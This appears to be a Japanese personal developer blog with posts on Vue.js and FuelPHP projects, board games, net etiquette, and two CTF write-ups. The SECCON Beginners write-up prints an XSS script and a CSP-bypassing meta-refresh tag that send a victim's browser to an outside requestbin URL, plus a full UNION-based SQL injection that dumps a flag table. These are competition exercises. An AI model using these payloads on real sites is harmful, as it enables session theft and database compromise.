あーさーの備忘録

ゆっくり自由に生きてます

Shiren Identifier ~風来のシレン識別アプリ~

近況報告

こんにちは。サーバーサイドからフロントにどんどん傾倒しているArthurです。最近はVue.jsを利用したSPAに興味があって、PHPフレームワークのLaravelを利用したり、静的APIで良い場合にはvue.js+webpackでいろいろなWebアプリを開発しています。Vue.jsは部品をコンポーネントで管理していくJavaScriptフレームワークです。Web ComponentsはCSS設計の本で仕様だけ理解していたのですが、実際使ってみると「これすごい!Component最強!」という気持ちでいっぱいになりました。Laravelはvueとscssをwebpackでコンパイルできる環境がお手軽に構築できるので本当に便利です。サーバーサイドのコーディングが必要なくても使いたくなってしまうレベルです。

そんなVue.jsとLaraveを使って作った初めてのSPAが「Twicla」というサービスです。これは、自分の大学の講義カレンダー(iCal形式)をparseして、出席状況管理をするものです。初めての割にはJWTAuthを使用したり、Vuexで状態管理をしたりとなかなか大規模なものになってしまいました。それ故に若干リリースするには怪しい(未完成な)部分も多々あるのですが、一応普段使いできるレベルに仕上がりました。

Shiren Identifier

そして、Laravelに頼らずに作ってみたのが「Shiren Identifier」です。これは「風来のシレン」というスーパーファミコンのソフトの最終ダンジョンでアイテム識別の支援をするアプリです(不思議のダンジョンシリーズなのですが、ポケダンなどと違って(?)アイテムは使用するまでどんなアイテムか分かりません)。

f:id:arthur_teleneco:20180613125330j:plain
キャプチャ

条件を入力しアイテムを絞り込み、識別済みならアイテム欄にチェックを付けていきます。識別済みチェックのデータはローカルストレージに保存することができるようになっています。

https://shiren.jizinet.work/

今後の課題

これからできるようになりたいのは、Componentsの細分化です。現状はvue-routerを利用しているのもあって、1ページ1コンポーネント+テンプレート部分(ヘッダー・フッターetx)という構成になっているのですが、各ページの要素も細かいComponentsに分割できるはずです。状態管理が大変になるのでVuex使わないと厳しい感じもしますが、いずれはきちんと分割できるようになりたいです。

webpackも自分で環境構築するのは慣れていなくて、結局staticな別ファイルをたくさん作ってしまっています。HTTP2で配信しているためファイルをまとめる意義は薄いような気もしますが、Laravelに頼らずともwebpackを使いこなしたいです。

また、せっかくSPAにしているのだから、Service Workerのキャッシュを利用しオフラインでも利用できるようにしたかったです。これはwebpackにプラグインを導入する形で解決するのが丸そうですが、他にもやることが山積みなので後回しにします。

あと全く別件ですが、ここ数ヶ月コーディング量がすごいので、ブログに書きたい内容がかなり溜まっています(CTFとかぶらつき学生ポータルのアップデートとかWebデザインについてとかボードゲームとか)。一気に放出しても仕方ないので1週間ずつぐらいに小出しにしていければなぁと。それでは。

SECCON BeginnersCTF 2018 Write-Up

ctf4b

常設CTFでもサークルの勉強会でもない一般のCTFコンテストに挑戦するのは初めてなので、かなり身構えていました。先に自分の結果を言ってしまうと、791ptで100位/844人でした。初めてにしてはそこそこ頑張れたんじゃないかなぁと自己評価しています。以下のリストは、解けた問題と開始からの時間および点数です。試験勉強や課題も山積みなので、12時間限りにしようと決めていました。

  • [Warmup] Greeting (0:05) 51pt
  • [Warmup] Welcome (1:09) 51pt
  • [Warmup] plain mail (1:13) 51pt
  • [Warmup] Veni, vidi, vici (2:10) 51pt
  • Gimme your comment (2:19) 78pt
  • RSA is Power (3:42) 103pt
  • SECCON Goods (5:32) 121pt
  • [Warmup] Simple Auth (8:36) 51pt
  • てけいさんえくすとりーむず (9:51) 55pt
  • Gimme your comment REVENGE (10:52) 179pt

Web

一応Web開発に携わっている人間ということで、Web問全部解けたのは良かったです。

[Warmup] Greeting <51pt>

EditThisCookieでCookieの値を書き換えました。

Gimme your comment <78pt>

フォームの本文欄でXSSできたので以下のようにscriptを埋め込んでrequestbinを踏んでもらいflagを得た。

<script>location.href="http://requestbin.fullcontact.com/hogehoge"</script>

SECCON Goods <121pt>

axiosで拾ってるjsonのurlにパラメータが渡されている(/items.php?minstock=0)。この0を例えば3にすると、stockが3以上のitemが表示される。そこでSQLインジェクションを疑い、以下のクエリが実行されていると仮定した。

SELECT id, name, description, price, stock 
FROM items
WHERE stock >= [minstock];

この[minstock]の部分はURLのminstockパラメータの値である。ここにいろいろブチ込めばいいと判断し、まずはどんなtableがあるか調べるために[minstock]に0 AND 1 = 0 UNION ALL (SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_COMMENT, TABLE_TYPE, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')を入れた。すなわち、以下のクエリを実行した。

SELECT id, name, description, price, stock 
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_COMMENT, TABLE_TYPE, NULL
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE');

もはやもともとのデータに興味はないのでAND 1 = 0で消えていただき(今から考えれば適当にでかい値入れればよかった)、UNION ALLでmysqlの情報が入っているテーブルからSELECTしたもの追加した。カラムの数が合わないとエラーになるので、余ったカラムにはNULLなり1なり突っ込んでおく。すると、flagという名前のテーブルがあることがわかる。このテーブルの構造が知りたいので、同様に[minstock]に0 AND 1 = 0 UNION ALL (SELECT TABLE_NAME, COLUMN_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag')を入れた。つまり、

SELECT id, name, description, price, stock
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT TABLE_NAME, COLUMN_NAME, NULL, NULL, NULL
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'flag');

が実行された。この結果、flagテーブルにはflagというカラム1つがあることがわかる。以上より、[minstock]に0 AND 1 = 0 UNION ALL (SELECT flag, NULL, NULL, NULL, NULL FROM flag)を入れるとflagが出てきます。

SELECT id, name, description, price, stock
FROM items
WHERE stock >= 0 AND 1 = 0
UNION ALL
(SELECT flag, NULL, NULL, NULL, NULL
FROM flag);

Gimme your comment REVENGE <179pt>

CSP(Content Security Policy)が設定されているためscriptを埋め込むことができない。HTMLだけならOKなので、requestbinにリダイレクトするようにmetaタグを埋め込むことでflagを得た。レガシーなmetaタグはheadの外でも動くんですね~~

<meta http-equiv="refresh" content="0; URL=http://requestbin.fullcontact.com/hogehoge">

ちなみに、この方法ならREVENGEじゃない方も同じ方法で出来てしまうので、想定解ではないのだろうと思っていた。実際に同大学の参加者に聞くと、actionを別の場所にしたform要素を偽装するのが想定解らしい。

Misc

[Warmup] plain mail <51pt>

strings packet.pcapしたらそれっぽい添付ファイルのBASE64コードとパスワードのような文字列が出てきたので、添付ファイルをdecodeし、出てきたzipファイルにパスワードを入力して解凍した。

[Warmup] Welcome <51pt>

解説不要

てけいさんえくすとりーむず <55pt>

python2で書いた。switch文ほしい。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

s.recv(261)

for i in range(100):
    data = s.recv(100)
    formula = data.split(")\n")
    print formula[1]
    elem = formula[1].split(' ')
    if elem[1] == '+':
        ans = str(int(elem[0]) + int(elem[2]))
    elif elem[1] == '-':
        ans = str(int(elem[0]) - int(elem[2]))
    elif elem[1] == '*':
        ans = str(int(elem[0]) * int(elem[2]))
    elif elem[1] == '/':
        ans = str(int(elem[0]) / int(elem[2]))
    print ans
    s.send(ans + "\n")
print s.recv(100)

Crypt

[Warmup] Veni, vidi, vici <51pt>

驚異的なエスパー能力によりROT13, ROT8であると分かったのでdecodeした。最後のはCtrl + Alt + ↓で画面をひっくり返して読んだ。

RSA is Power <103pt>

これもエスパーで97139961312384239075080721131188244842051515305572003521287545456189235939577を素因数分解した……わけではなく、factordb.comに突っ込んで調べた。最初はプログラムを書いてやってみたが死ぬほど時間がかかるので諦めた。あとはRSAの式に従ってdecode

Reversing

[Warmup] Simple Auth <51pt>

ltrace ./simple_authしたら見えた

まとめ

相変わらずアセンブリ読んでいく問題が苦手だなぁと痛感しました。CryptoのStreamingは寝坊さえしなければ解けたかもしれないです。ところでSQLi問題はその脆弱性を利用してflag自体を書き換えることすらできてしまうのは問題としてどうなんでしょうね。競技中に特に問題が起こらなかったようでよかったです。

traP CPCTF 2018 感想

CPCTFとは

昨日は東京工業大学デジタル創作同好会traP(私も2017年秋~部員)のCPCTFに参加しました。ここでは、解いた感想を問題ごとにまとめていきます。ネタバレアリなんでまだ解いてない人は注意。100点問題などは省略します。

https://cpctf.site/

一応まだ問題残ってるので興味のある方は是非解いてみてください。

http://visualizer2018.problem.cpctf.site/visualizer/

こちらはビジュアライザ。かっけ~。

Web

WebプログラマとしてはWebの問題は全問正解したいところですが……

Flag_POST_Service(200)

Flag Post Serviceなので自分のサーバーにPOSTさせました。

How to walk around source(300)

これもともと100点問題だったけど誰も解かないから300点になったらしい。

No thank you(300)

フォーム無視してcurlからPOSTしました。

Tsubuyakiss! 1st(200)

実は時間内に解けなかった。ディレクトリトラバーサルの可能性を忘れていてviewのフォルダ内でひたすらファイル探したりシェルインジェクションかな~とか思ったりしてた。

PasswordCracking 1st(200)

PasswordCracking 2nd(200)

PasswordCracking 3rd(200)

PasswordCracking 4th(300)

PasswordCracking 5th(400)

この辺をぱぱーって序盤解いていったので最初ダントツ1位でビジュアライザにでかでかと表示されて恥ずかしかった。

PasswordCracking 6th(500)

ブラインドSQLiということまでわかったけど面倒なのでパス。500点なので頑張ってプ書いたほうが良かったのかも知れない。

A Chat Room(400)

Node.js+ExpressでWebSocketとかこの前やったばっかじゃ~んってことで頑張ったけど解けなかった。精進します。

Forensics

Forensicsって、なんだ?

back of the poster(300)

暗すぎて写真がうまく撮れなかった。

Into The Image(200)

バイナリエディタくんに突っ込んだけどstringsのほうが早いしコピペできるね。bash on windowsくんが機嫌悪くて使えなかった。

Shell

地味にShellが第2の得点源だった。自分でサーバー建てたのが生きたかも。

steam-locomotive(200)

ヒント1つ見た。aliasだな~とは思ってたけどrootで動いてることまでは分からなかった。

minus(200)

--をつけると以降の-がオプションにならないらしいよ。

open file(200)

これも時間内に解けず。curlで自分のサーバーに飛ばしてやろうと思ったけど受け取り側を作るのがめんどくさくてやめた。ctf用のReceiver的なやつ今度作っておこう。

Crypto

RSA暗号とかは未だに理論を理解できないので絶望

Code From Sobaya 1st(200)

見てすぐなんの暗号か分かったけど解読にありえん時間掛かった。他の問題のほうがコスパよかったかも。

Code From Sobaya 2nd(300)

去年同じ問題を解きました。

EPIC(200)

2進数→16進数を脳内でやってひたすらバイナリエディタに打ち込んだけどもっといい方法あったでしょ。

input(300)

Q5まではサクサク行ったけどQ6で挫折。

PPC

超苦手分野。誰かおせーて

need_more_multiples(200)

PHPくんだと桁が溢れまくるのでPythonでやりました。これからPHPで競プロするのはやめます。

Student Number(300)

とはいったもののこういう問題はPHPだとクッソ楽。%10なんてやってられるか。

まとめ

肝心の結果は……

f:id:arthur_teleneco:20180419095154p:plain

6189点、オンサイトランキングで3位でした!

PwnとかBinaryは初心者なので100点問題しか解けなかった。でも前回より幅広い問題に手を付けられた気がする。休憩0でぶっ通すのはリソースエラーになるのでセブンにアイスでも買いに行けばよかった。あとチラ裏問題解きに行く時にハイになりすぎて足引っ掛けてPCの充電器壊した。充電できなくなったのは痛かったけどとりあえず競技中持ってくれてよかった。次回あったら総当たり系の問題ちゃんと挑戦します。

個人的ネットリテラシー論

大原則

私の大学では、日々Twitter上での炎上が話題となっている。無論、バカッターのようなものはないが、他人への悪口、中傷といった不穏要素が新たな不穏を呼ぶことが多い。

では、どんな投稿が良くないのか。私個人的な意見としては、以下の大原則が守られていない投稿は控えるべきだと思っている。その大原則とは、

「自分の発言に責任が持てるか」

である。

自分がした投稿により自分や家族、あるいは自分の所属する組織に迷惑が掛からないか、もしそうなってしまったときにどう収拾をつけるか。責任を取るという曖昧な言葉で表現した理由は、そこを自分なりに考える過程で気軽に投稿する手が止まるからである。具体的なルールをいくつか挙げたとして、それに反してないからOKではなく、投稿する前に一度自問自答して欲しいと言う意図がある。

逃げのbio

最近、普通の学生から著名人まで広く見られるのが、「自分の投稿は所属する組織とは一切関係がありません」「所属する組織を代表するものではありません」というbioでの但し書きである。しかしながら、自分の投稿が炎上して組織に迷惑が掛かったならそれはちゃんと責任を取るべきだし、この但し書きは責任逃れの言い訳に過ぎないと思う。bioから所属を隠すのも同様である(隠すことを悪いとは言わないが、責任逃れが目的ならばそれは違うと言いたい)。そんな但し書きに甘えて思考を放棄するならばSNSを辞めてほしいと強く思っている。

最近やったボードゲームを紹介する

サークル引退したらボードゲームなんてもうやらないのかな~と思っていたら、 空いた時間にボドゲのできるスペースに遊びに行くようになりました。

今まで狂ったようにアグリコラしかしてこなかったので、 触ったことのないゲームをプレイする機会が増えました。

今日は名前を覚えているゲームを一気に紹介します。

タルギ

  • プレイ人数:2人
  • ジャンル:ワーカープレイスメント

タルギ駒を外周に3つ置くと、その交点のアクションも行える、というギミックのワーカープレイスメント。2人ゲーにしてはそこそこの重さだけど楽しかった。ただ、後半のSPは蜃気楼or貴族の2択ゲーな感じもした。まぁ2回しかプレイしてないからよく分からないけど。略奪をスキップできる部族カードはめっちゃ強い。拡張もあってやってみたけど個人的には通常のままで十分楽しいかな。

センチュリー・スパイスロード

  • プレイ人数:2~5人
  • ジャンル:デッキ構築ゲーム(?)

デッキを構築しつつ勝利点カードを取っていく、スプレンダーとドミニオンを足して割ったようなゲーム。インストはすぐ終わるしゲーム時間もちょうどよい。相手の邪魔がほとんどできないゲームなので、とにかく最速でゲーム終了に向かいたい。3アップグレード最強と思っていたけど、調べてみたら僕のプレイしていたルールがちょっと違うようで、トレードカードはペアが複数あれば複数回一気にできるらしい。これは効率計算が大分変わってしまう。今度ちゃんとしたルールで再度プレイしたい。

セレスティア

  • プレイ人数:2~6人
  • ジャンル:ダイスゲーム

船に乗ってゴールを目指すが、襲いかかる災難に対処できないと判断したときは船から降りてゴールより少ない勝利点を得る、チキンレースのようなゲーム。船長(毎ターン変わる)は船から降りられないので、残った人数が2人になったときは自分が1人にならないように気をつける必要がある。最初は淡々とやっていくゲームだと思っていたが、一緒にプレイしたのが人狼界隈の人たちなのもあって、かなりコミュニケーションが生まれる楽しいゲームだった。

ゴーゴージェラート

ここに来て急に軽めのゲーム。毎回お題のカードがめくられ、そのとおりにアイスとコーンを組み合わせるというゲーム。ただしアイスは手で触ってはいけない。とにかくすごい楽しかった(小並感)

イスタンブール

  • プレイ人数:2~5人
  • ジャンル:ワーカープレイスメント

手短に説明できない複雑さがあるが、一度覚えてしまえばルール自体は単純なワーカープレイスメント。何より、目的がはっきりしている(ルビーを5/6個集める)のでアグリコラよりはプレイしやすい。カードは5金最強だけど他のカードもそこそこ強いので引き得。

イスタンブール・ダイスゲーム

  • プレイ人数:2~4人
  • ジャンル:ダイスゲーム

上記の軽量ver。駒を置くかわりにダイスを振って、その出目でもらえる資材や行えるアクションが決まる。こっちのほうが手軽だしインストははるかに楽。

テストプレイなんてしてないよ

  • プレイ人数:2~10人
  • ジャンル:カードゲーム

光ネッサンス的な。敗北したらショット入れるルールでやりたい。

あやつり人形

  • プレイ人数:2~8人
  • ジャンル:ドラフトゲーム

王様から役職カードをドラフトして、数字の小さい人から自分のターンを行っていき、金を集めて建物を建て都市を完成させる。強い建物弱い建物あるが、基本的には最速で都市完成を目指したほうがよさそう。他人が取ったカードの読み合いが楽しい。

カヴェルナ

  • プレイ人数:1~7人
  • ジャンル:ワーカープレイスメント

ところどころにアグリコラの反省が見られるゲーム。アグリコラ牧場の動物たちの重量ゲーverという感じ(家畜が基本1頭1点であることなど)。牧場の動物たちを3人以上でやりたいときにおすすめ(?)

たぶんこの2倍ぐらい色んなゲームプレイしたんですが、書ききれないのでここで終わりにします><

「ぶらつき学生ポータル」を作った

ぶらつき学生ポータル完成

前クール覇権アニメDYNAMIC CHORDの原作ゲーム(闇が深い)のプレイで鬱加速中のあーさーです。この世界の高校生闇が深すぎる。

某サークルを引退して暇になったので、先月下旬から「ぶらつき学生ポータル」の開発をしていました。これは、アグリコラというボードゲームのプレイ記録をまとめるためのサイトです。あまりに暇すぎて、作り始めてから1ヶ月経たずに完成してしまいました。とはいえ、フロントエンドからバックエンドまで1人で書いて、さらにサーバーも1人で立ててという感じだったので、チーム制作に慣れた身体にはしんどいものがありました。フロント書ける人ってすごい。僕はフロントの知識が乏しいので、CSSフレームワークに頼りました。

完成したサイトがこちら。

トップページ - ぶらつき学生ポータル

一応開発環境というか言語は下の通り。

  • Language: PHP 7.1
  • PHP Framework: FuelPHP 1.8.0
  • CSS Framework: Materialize 0.100.2

ぶらつき学生ポータルの機能

このサイトの機能は以下の通りです。

ユーザ登録・認証

誰でも編集できるようにするのもアレなので認証を導入しました。僕がユーザに登録用のURLと合言葉を教え、合言葉を入力することでユーザ登録ができるようにしました。認証はFuelPHPのAuthパッケージを使用しています。ログインするとマイページからプロフィールの編集やスコアの入力などができるようになっています。

スコア入力・表示

ゲームをプレイする前に、代表者がプレイヤーのIDやレギュレーションなどを入力します。すると、各プレイヤーのマイページ画面からスコア入力画面に飛ぶことができるようになります。アグリコラのスコア計算アプリとこのサイトに2回スコアを入力するのは面倒なので、各カテゴリーの点数を入力してボタンを押すと合計点を計算するようにしました。スコア入力だけでなく、盤面の画像をアップロードしたり、コメントを入力したりできます。入力したスコアは記事として公開されます。

使用したカードの効果を表示

スコア入力時に使用したカードの番号を入力することで、スコア表示ページでそのカードの番号だけでなく名前や効果まで見ることができるようにしました。アグリコラには様々な拡張が用意されていて、我々は基本的にそれらをすべて混ぜて使用しています。拡張のほとんどは日本語版が出ていないので、日本語訳する必要があるのですが、界隈によって表記ゆれや飜訳の違い、エラッタなどが存在します。そのため、私たちで使用している訳を載せつつ番号を載せることで界隈外の人にも伝わるようにしています。

ぶらつき学生ポータルの今後

とりあえずすぐに運用したかったので、最低限の機能だけ実装してさっさとdeployしてしまいました。でも、まだまだ追加できる機能はあります。各カードの詳細ページを作って、カード評価やエラッタ、活用法について議論できる場にしたら面白いなぁと思っています。ページを作ること自体は、URLからカード番号をパラメータに持ってきてそのカードのデータをDBから取得して…という感じなのですぐできそうです。評価欄やコメント欄を作るともう一手間二手間かかりますが。

また、プレイ回数が増えてきたら、スコアや順位、使われているカードなどで統計を取ることができます。拡張入りでもやっぱり4・5番手は弱いのかとか、この人は安定して良い点が取れているとかが分かります。有意な結果を得るためにはたくさんプレイしないとダメですが。そんなことよりダイナーやりたい

アグリコラには旧版と新版(リバイズドエディション)があって、リバイズドの方のデータはまだ入れていないのでまだ使えません。カード番号がバッティングすると嫌だなぁと思ったので保留しました。実際はCデッキ以外は被らなさそうですね。そもそもCも一般的にはCzデッキと呼ばれているそうですし、置き換えるだけです。

作った感想

やっぱりMaterializeは楽にモダンなサイト作れるのでいいですね。今回はなぜかドキュメント通りにマークアップしてもメニューがちゃんと動かなかったり(z-indexの数値がおかしい)、フォントを変えたかったりしたので一部書き換えましたが、CSS書かなくて済むのはかなり大きいです。

パフォーマンスのことはほとんど考えてません。PageSpeed Insightsで99点取ったって記事書いたのが嘘のようになにもしてないです。一応70点台だったけど。faviconすらFuelPHPのデフォルトの奴使ってるのはさすがにアレなので、気が向いたらスピードアップも含めてちょっとずつアプデしようかなと思います。PagenationもOFFSET使ってるのでデータ量が増えれば増えるほど遅くなります。頭が悪くてOFFSET使わないSQLの書き方が理解できませんでした。理解できないことを鵜呑みしてコピペするのは信条に反するので、理解できるようになることを祈るばかりです。アルゴリズムとか苦手なんですよね。完全に文系プログラマーやってます。

とりあえず、完成してよかった!企画倒れしなくてよかった!そんな自分への拍手を込めて新しい乙女ゲーを今日もポチるぞ。

FuelPHPのValidationにクロージャを複数使う

FuelPHPのValidationにクロージャを使う

FuelPHPでは、クラスを作りメソッドを定義することでオリジナルのValidationルールを作ることができます。ルールに対するメッセージ文も、APPPATH/langのファイルを編集することで定義できます。でも、あるページだけでしか使わないルールをいちいち作るのは面倒。

ということで、Validationインスタンスごとルールを追加できる方法の登場です。

qiita.com

普通は上に挙げた記事通りやれば上手くいくのですが……

クロージャを複数使った場合の挙動

上の記事では、Validation::add_rule()にクロージャを渡すことによって独自ルールを定義しています。これを複数回行ったときに、ある不具合が生じます。

たとえば、アカウント作成フォームを作るとしましょう。

アカウント作成フォームに求められる要件は以下の通りです。

  • IDがユニークであること
  • メールアドレスがユニークであること

同じIDで複数回登録できたら区別がつかなくなってしまいますからね。

ということで、前述の記事を参考に、以下のようにルールを作ったとします。(本当はIDにvalid_stringがあったりするのでしょうが必要最低限ということで)

<?php
$val = Validation::forge();
$val->add('id', 'ID')
    ->add_rule('required')
    ->add_rule(function($id) {
        $record = DB::select()
            ->from('users')
            ->where('id', '=', $id)
            ->execute()
            ->as_array();
        if ($record !== []) {
            Validation::active()->set_message('closure', 'すでに同IDのユーザーが存在します。');
            return false;
        }
        return true;
    });
$val->add('email', 'メールアドレス')
    ->add_rule('required')
    ->add_rule(function($email) {
        $record = DB::select()
            ->from('users')
            ->where('email', '=', $email)
            ->execute()
            ->as_array();
        if ($record !== []) {
            Validation::active()->set_message('closure', 'このメールアドレスはすでに登録されています。');
            return false;
        }
        return true;
    });

ちなみに、Validation::active()を使っているのはスコープの関係です。useで$valを渡せば動くんじゃないかな(未検証)。

このようにすると上手くいくように思えますが、両方のValidationに引っかかった場合、後のメッセージが前のメッセージを上書きしてしまい、同じメッセージが2回表示されてしまいます。この方法ではset_message()の際にクロージャを区別できないというわけです。

解消方法

困ったのでドキュメントを読んだところ、下記ページにこんな記述がありました。

Validation Errors - Classes - FuelPHP Documentation

If you want to give them custom names instead you can do that like

<?php
// Add a rule which checks if the input is odd
// It can either use ->set_message('odd', ':label is not odd.') or use a lang key 'validation.odd'
$field->add_rule(array('odd' => function($val) { return (bool) ($val % 2); }));

先ほどクロージャを渡していたところに、array((ルール名) => (クロージャ))を渡すことでルールに名前をつけることができるということですね。

これを踏まえて先ほどのコードを書き換えます。

<?php
$val = Validation::forge();
$val->add('id', 'ID')
    ->add_rule('required')
    ->add_rule(['unique_id' => function($id) {
        $record = DB::select()
            ->from('users')
            ->where('id', '=', $id)
            ->execute()
            ->as_array();
        if ($record !== []) {
            Validation::active()->set_message('unique_id', 'すでに同IDのユーザーが存在します。');
            return false;
        }
        return true;
    }]);
$val->add('email', 'メールアドレス')
    ->add_rule('required')
    ->add_rule(['unique_email' =>function($email) {
        $record = DB::select()
            ->from('users')
            ->where('email', '=', $email)
            ->execute()
            ->as_array();
        if ($record !== []) {
            Validation::active()->set_message('unique_email', 'このメールアドレスはすでに登録されています。');
            return false;
        }
        return true;
    }]);

こうすると、クロージャ同士がメッセージを上書きせずに済みます。

ちなみに、この方法ならメッセージをクロージャ内で定義する必要がなく、クロージャの外側で$val->set_message()としてあげるともう少し綺麗に書けるのかなと思います。というか元の方法でも、クロージャが1つしかないのなら外側で定義できる……はず。

こういう技術系記事ってQiitaでやったほうがいいのかもしれないね。